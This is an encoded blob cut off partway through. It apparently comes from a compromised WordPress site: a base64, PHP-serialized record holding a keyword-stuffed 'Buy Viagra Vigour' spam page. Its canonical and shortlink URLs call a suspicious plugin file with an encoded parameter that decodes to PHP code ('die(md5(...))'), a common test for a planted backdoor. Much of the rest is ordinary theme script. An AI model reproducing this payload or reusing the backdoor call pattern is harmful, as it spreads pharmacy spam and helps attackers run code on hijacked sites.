YToyOntzOjU6Im5pY2hlIjtzOjEzOiJ2aWFncmEgdmlnb3VyIjtzOjQ6Imh0bWwiO3M6NzI3MTQ6IjwhZG9jdHlwZSBodG1sPgoKCjxodG1sIGNsYXNzPSJuby1qcyIgbGFuZz0iZW4tVVMiPgoKCTxoZWFkPgoJCQo8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vYXJjaGl2ZSI+CjxtZXRhIGNoYXJzZXQ9IlVURi04IiAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+dmFyIHVhID0gbmF2aWdhdG9yLnVzZXJBZ2VudDsgdmFyIG1ldGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdtZXRhJyk7aWYoKHVhLnRvTG93ZXJDYXNlKCkuaW5kZXhPZignYW5kcm9pZCcpID4gLTEgJiYgdWEudG9Mb3dlckNhc2UoKS5pbmRleE9mKCdtb2JpbGUnKSkgfHwgKCh1YS5tYXRjaCgvaVBob25lL2kpKSB8fCAodWEubWF0Y2goL2lQYWQvaSkpKSl7IG1ldGEubmFtZSA9ICd2aWV3cG9ydCc7CW1ldGEuY29udGVudCA9ICd0YXJnZXQtZGVuc2l0eWRwaT1kZXZpY2UtZHBpLCB3aWR0aD1kZXZpY2Utd2lkdGgnOyB9dmFyIG0gPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzBdOyBtLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKG1ldGEsbSk7PC9zY3JpcHQ+IAkJPG1ldGEgbmFtZT0iQXV0aG9yIiBjb250ZW50PSJBaXRUaGVtZXMuY2x1YiwgaHR0cDovL3d3dy5haXQtdGhlbWVzLmNsdWIiIC8+CgoJCTx0aXRsZT5CdXkgVmlhZ3JhIFZpZ291ciBpbiBQZXJ1IExpbWE8L3RpdGxlPgo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQnV5IFZpYWdyYSBWaWdvdXIgaW4gTm9ydGggS29yZWEgUHlvbmd5YW5nLiBTaG9wIFZpYWdyYSBWaWdvdXIgaW4gQ2FwZSBWZXJkZSBQcmFpYS4gU2hvcCBmb3IgVmlhZ3JhIFZpZ291ciB3aXRoIFZpc2EuIEJ1eSBWaWFncmEgVmlnb3VyIGluIFBvcnR1Z2FsIExpc2Jvbi4gT3JkZXIgVmlhZ3JhIFZpZ291ciBpbiBOaWNhcmFndWEgTWFuYWd1YS4gT3JkZXIgVmlhZ3JhIFZpZ291ciBpbiBCdXJ1bmRpIEJ1anVtYnVyYS4gQnV5IFZpYWdyYSBWaWdvdXIgaW4gR2VvcmdpYSBUYmlsaXNpLiBQdXJjaGFzZSBWaWFncmEgVmlnb3VyIGluIEd1YXRlbWFsYSBHdWF0ZW1hbGEgQ2l0eS4iPgoJCTxsaW5rIHJlbD0icHJvZmlsZSIgaHJlZj0iaHR0cDovL2dtcGcub3JnL3hmbi8xMSIgLz4KCQk8bGluayByZWw9InBpbmdiYWNrIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3htbHJwYy5waHAiIC8+CgoJCTxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9zd2FsZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCgkJPGxpbmsgaWQ9ImFpdC1zdHlsZSIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9ImFsbCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3Rvcnkvc3R5bGUuY3NzPzE1MTY0NDUxMTMiIC8+Cgo8bGluayByZWw9J2Rucy1wcmVmZXRjaCcgaHJlZj0nLy9tYXBzLmdvb2dsZS5jb20nIC8+CjxsaW5rIHJlbD0nZG5zLXByZWZldGNoJyBocmVmPScvL3Mudy5vcmcnIC8+CgoKCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJCXdpbmRvdy5fd3BlbW9qaVNldHRpbmdzID0geyJiYXNlVXJsIjoiaHR0cHM6XC9cL3Mudy5vcmdcL2ltYWdlc1wvY29yZVwvZW1vamlcLzExXC83Mng3MlwvIiwiZXh0IjoiLnBuZyIsInN2Z1VybCI6Imh0dHBzOlwvXC9zLncub3JnXC9pbWFnZXNcL2NvcmVcL2Vtb2ppXC8xMVwvc3ZnXC8iLCJzdmdFeHQiOiIuc3ZnIiwic291cmNlIjp7ImNvbmNhdGVtb2ppIjoiaHR0cDpcL1wvd3d3LnNvY2lhbG1lZGlhcnMuY29tXC93cC1pbmNsdWRlc1wvanNcL3dwLWVtb2ppLXJlbGVhc2UubWluLmpzP3Zlcj00LjkuMTAifX07CgkJCSFmdW5jdGlvbihhLGIsYyl7ZnVuY3Rpb24gZChhLGIpe3ZhciBjPVN0cmluZy5mcm9tQ2hhckNvZGU7bC5jbGVhclJlY3QoMCwwLGsud2lkdGgsay5oZWlnaHQpLGwuZmlsbFRleHQoYy5hcHBseSh0aGlzLGEpLDAsMCk7dmFyIGQ9ay50b0RhdGFVUkwoKTtsLmNsZWFyUmVjdCgwLDAsay53aWR0aCxrLmhlaWdodCksbC5maWxsVGV4dChjLmFwcGx5KHRoaXMsYiksMCwwKTt2YXIgZT1rLnRvRGF0YVVSTCgpO3JldHVybiBkPT09ZX1mdW5jdGlvbiBlKGEpe3ZhciBiO2lmKCFsfHwhbC5maWxsVGV4dClyZXR1cm4hMTtzd2l0Y2gobC50ZXh0QmFzZWxpbmU9InRvcCIsbC5mb250PSI2MDAgMzJweCBBcmlhbCIsYSl7Y2FzZSJmbGFnIjpyZXR1cm4hKGI9ZChbNTUzNTYsNTY4MjYsNTUzNTYsNTY4MTldLFs1NTM1Niw1NjgyNiw4MjAzLDU1MzU2LDU2ODE5XSkpJiYoYj1kKFs1NTM1Niw1NzMzMiw1NjEyOCw1NjQyMyw1NjEyOCw1NjQxOCw1NjEyOCw1NjQyMSw1NjEyOCw1NjQzMCw1NjEyOCw1NjQyMyw1NjEyOCw1NjQ0N10sWzU1MzU2LDU3MzMyLDgyMDMsNTYxMjgsNTY0MjMsODIwMyw1NjEyOCw1NjQxOCw4MjAzLDU2MTI4LDU2NDIxLDgyMDMsNTYxMjgsNTY0MzAsODIwMyw1NjEyOCw1NjQyMyw4MjAzLDU2MTI4LDU2NDQ3XSksIWIpO2Nhc2UiZW1vamkiOnJldHVybiBiPWQoWzU1MzU4LDU2NzYwLDk3OTIsNjUwMzldLFs1NTM1OCw1Njc2MCw4MjAzLDk3OTIsNjUwMzldKSwhYn1yZXR1cm4hMX1mdW5jdGlvbiBmKGEpe3ZhciBjPWIuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7Yy5zcmM9YSxjLmRlZmVyPWMudHlwZT0idGV4dC9qYXZhc2NyaXB0IixiLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoYyl9dmFyIGcsaCxpLGosaz1iLmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLGw9ay5nZXRDb250ZXh0JiZrLmdldENvbnRleHQoIjJkIik7Zm9yKGo9QXJyYXkoImZsYWciLCJlbW9qaSIpLGMuc3VwcG9ydHM9e2V2ZXJ5dGhpbmc6ITAsZXZlcnl0aGluZ0V4Y2VwdEZsYWc6ITB9LGk9MDtpPGoubGVuZ3RoO2krKyljLnN1cHBvcnRzW2pbaV1dPWUoaltpXSksYy5zdXBwb3J0cy5ldmVyeXRoaW5nPWMuc3VwcG9ydHMuZXZlcnl0aGluZyYmYy5zdXBwb3J0c1tqW2ldXSwiZmxhZyIhPT1qW2ldJiYoYy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZz1jLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnJiZjLnN1cHBvcnRzW2pbaV1dKTtjLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnPWMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWcmJiFjLnN1cHBvcnRzLmZsYWcsYy5ET01SZWFkeT0hMSxjLnJlYWR5Q2FsbGJhY2s9ZnVuY3Rpb24oKXtjLkRPTVJlYWR5PSEwfSxjLnN1cHBvcnRzLmV2ZXJ5dGhpbmd8fChoPWZ1bmN0aW9uKCl7Yy5yZWFkeUNhbGxiYWNrKCl9LGIuYWRkRXZlbnRMaXN0ZW5lcj8oYi5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixoLCExKSxhLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGgsITEpKTooYS5hdHRhY2hFdmVudCgib25sb2FkIixoKSxiLmF0dGFjaEV2ZW50KCJvbnJlYWR5c3RhdGVjaGFuZ2UiLGZ1bmN0aW9uKCl7ImNvbXBsZXRlIj09PWIucmVhZHlTdGF0ZSYmYy5yZWFkeUNhbGxiYWNrKCl9KSksZz1jLnNvdXJjZXx8e30sZy5jb25jYXRlbW9qaT9mKGcuY29uY2F0ZW1vamkpOmcud3BlbW9qaSYmZy50d2Vtb2ppJiYoZihnLnR3ZW1vamkpLGYoZy53cGVtb2ppKSkpfSh3aW5kb3csZG9jdW1lbnQsd2luZG93Ll93cGVtb2ppU2V0dGluZ3MpOwoJCTwvc2NyaXB0PgoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmltZy53cC1zbWlsZXksCmltZy5lbW9qaSB7CglkaXNwbGF5OiBpbmxpbmUgIWltcG9ydGFudDsKCWJvcmRlcjogbm9uZSAhaW1wb3J0YW50OwoJYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50OwoJaGVpZ2h0OiAxZW0gIWltcG9ydGFudDsKCXdpZHRoOiAxZW0gIWltcG9ydGFudDsKCW1hcmdpbjogMCAuMDdlbSAhaW1wb3J0YW50OwoJdmVydGljYWwtYWxpZ246IC0wLjFlbSAhaW1wb3J0YW50OwoJYmFja2dyb3VuZDogbm9uZSAhaW1wb3J0YW50OwoJcGFkZGluZzogMCAhaW1wb3J0YW50Owp9Cjwvc3R5bGU+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj00LjkuMicgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2Nzcy9zZXR0aW5ncy5jc3M/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxzdHlsZSBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWlubGluZS1jc3MnIHR5cGU9J3RleHQvY3NzJz4KLnRwLWNhcHRpb24gYXtjb2xvcjojZmY3MzAyO3RleHQtc2hhZG93Om5vbmU7LXdlYmtpdC10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1tb3otdHJhbnNpdGlvbjphbGwgMC4ycyBlYXNlLW91dDstby10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1tcy10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0fS50cC1jYXB0aW9uIGE6aG92ZXJ7Y29sb3I6I2ZmYTkwMn0KPC9zdHlsZT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1wcmV0dHlQaG90by1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL3ByZXR0eVBob3RvLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1mYW5jeWJveC1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2ZhbmN5Ym94L2pxdWVyeS5mYW5jeWJveC0xLjMuNC5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktaG92ZXItem9vbS1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2hvdmVyWm9vbS5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktZmFuY3ljaGVja2JveC1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2pxdWVyeS5mYW5jeWNoZWNrYm94Lm1pbi5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2pxdWVyeS11aS1jc3MtY3NzJyAgaHJlZj0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9qcXVlcnktdWktMS4xMC4xLmN1c3RvbS5taW4uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnkuanM/dmVyPTEuMTIuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS1taWdyYXRlLm1pbi5qcz92ZXI9MS40LjEnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9mcm9udEVuZFNjcmlwdHMuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2pxdWVyeS5qY2Fyb3VzZWwubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9iZl9zY3JpcHQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC50b29scy5taW4uanM/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vanMvanF1ZXJ5LnRoZW1lcHVuY2gucmV2b2x1dGlvbi5taW4uanM/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5mYW5jeWNoZWNrYm94Lm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5Lmh0bWw1LXBsYWNlaG9sZGVyLXNoaW0uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9tYXBzLmdvb2dsZS5jb20vbWFwcy9hcGkvanM/a2V5PUFJemFTeUQxbmh5ckpyeUhRRTBONk9RaGtvcXdFTEJNMHhPNTBOSSYjMDM4O3NlbnNvcj1mYWxzZSYjMDM4O2xhbmd1YWdlPWVuX1VTJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2dtYXAzLmluZm9ib3guanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2dtYXAzLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmluZmllbGRsYWJlbC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LnByZXR0eVBob3RvLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmFuY3lib3gtMS4zLjQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5lYXNpbmctMS4zLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5Lm5pY2VzY3JvbGwubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucXVpY2tzYW5kLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9ob3Zlci56b29tLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmluaXNoZWRUeXBpbmcuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL3NwaW4ubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9tb2Rlcm5penIudG91Y2guanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9ncmlkZ2FsbGVyeS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3JhdGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgovKiA8IVtDREFUQVsgKi8KdmFyIE15QWpheCA9IHsiYWpheHVybCI6Imh0dHA6XC9cL3d3dy5zb2NpYWxtZWRpYXJzLmNvbVwvd3AtYWRtaW5cL2FkbWluLWFqYXgucGhwIiwiYWpheG5vbmNlIjoiZDg5OWJhNjViNCJ9OwovKiBdXT4gKi8KPC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9zY3JpcHQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxsaW5rIHJlbD0naHR0cHM6Ly9hcGkudy5vcmcvJyBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWpzb24vJyAvPgo8bGluayByZWw9IkVkaXRVUkkiIHR5cGU9ImFwcGxpY2F0aW9uL3JzZCt4bWwiIHRpdGxlPSJSU0QiIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20veG1scnBjLnBocD9yc2QiIC8+CjxsaW5rIHJlbD0id2x3bWFuaWZlc3QiIHR5cGU9ImFwcGxpY2F0aW9uL3dsd21hbmlmZXN0K3htbCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy93bHdtYW5pZmVzdC54bWwiIC8+IAo8bGluayByZWw9ImNhbm9uaWNhbCIgaHJlZj0iaHR0cDovL3NvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9zdXBlci1zb2NpYWxhdC9zdXBlcl9zb2NpYWxhdC5waHA/ZDE9WkdsbEtHMWtOU2d6TkRVek5Da3BPdz09IiA+CjxsaW5rIHJlbD0nc2hvcnRsaW5rJyBocmVmPSdodHRwOi8vc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL3N1cGVyLXNvY2lhbGF0L3N1cGVyX3NvY2lhbGF0LnBocD9kMT1aR2xsS0cxa05TZ3pORFV6TkNrcE93PT0nIC8+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgooZnVuY3Rpb24odXJsKXsKCWlmKC8oPzpDaHJvbWVcLzI2XC4wXC4xNDEwXC42MyBTYWZhcmlcLzUzN1wuMzF8V29yZGZlbmNlVGVzdE1vbkJvdCkvLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCkpeyByZXR1cm47IH0KCXZhciBhZGRFdmVudCA9IGZ1bmN0aW9uKGV2dCwgaGFuZGxlcikgewoJCWlmICh3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcikgewoJCQlkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKGV2dCwgaGFuZGxlciwgZmFsc2UpOwoJCX0gZWxzZSBpZiAod2luZG93LmF0dGFjaEV2ZW50KSB7CgkJCWRvY3VtZW50LmF0dGFjaEV2ZW50KCdvbicgKyBldnQsIGhhbmRsZXIpOwoJCX0KCX07Cgl2YXIgcmVtb3ZlRXZlbnQgPSBmdW5jdGlvbihldnQsIGhhbmRsZXIpIHsKCQlpZiAod2luZG93LnJlbW92ZUV2ZW50TGlzdGVuZXIpIHsKCQkJZG9jdW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcihldnQsIGhhbmRsZXIsIGZhbHNlKTsKCQl9IGVsc2UgaWYgKHdpbmRvdy5kZXRhY2hFdmVudCkgewoJCQlkb2N1bWVudC5kZXRhY2hFdmVudCgnb24nICsgZXZ0LCBoYW5kbGVyKTsKCQl9Cgl9OwoJdmFyIGV2dHMgPSAnY29udGV4dG1lbnUgZGJsY2xpY2sgZHJhZyBkcmFnZW5kIGRyYWdlbnRlciBkcmFnbGVhdmUgZHJhZ292ZXIgZHJhZ3N0YXJ0IGRyb3Aga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBtb3VzZWRvd24gbW91c2Vtb3ZlIG1vdXNlb3V0IG1vdXNlb3ZlciBtb3VzZXVwIG1vdXNld2hlZWwgc2Nyb2xsJy5zcGxpdCgnICcpOwoJdmFyIGxvZ0h1bWFuID0gZnVuY3Rpb24oKSB7CgkJdmFyIHdmc2NyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CgkJd2ZzY3IudHlwZSA9ICd0ZXh0L2phdmFzY3JpcHQnOwoJCXdmc2NyLmFzeW5jID0gdHJ1ZTsKCQl3ZnNjci5zcmMgPSB1cmwgKyAnJnI9JyArIE1hdGgucmFuZG9tKCk7CgkJKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF18fGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF0pLmFwcGVuZENoaWxkKHdmc2NyKTsKCQlmb3IgKHZhciBpID0gMDsgaSA8IGV2dHMubGVuZ3RoOyBpKyspIHsKCQkJcmVtb3ZlRXZlbnQoZXZ0c1tpXSwgbG9nSHVtYW4pOwoJCX0KCX07Cglmb3IgKHZhciBpID0gMDsgaSA8IGV2dHMubGVuZ3RoOyBpKyspIHsKCQlhZGRFdmVudChldnRzW2ldLCBsb2dIdW1hbik7Cgl9Cn0pK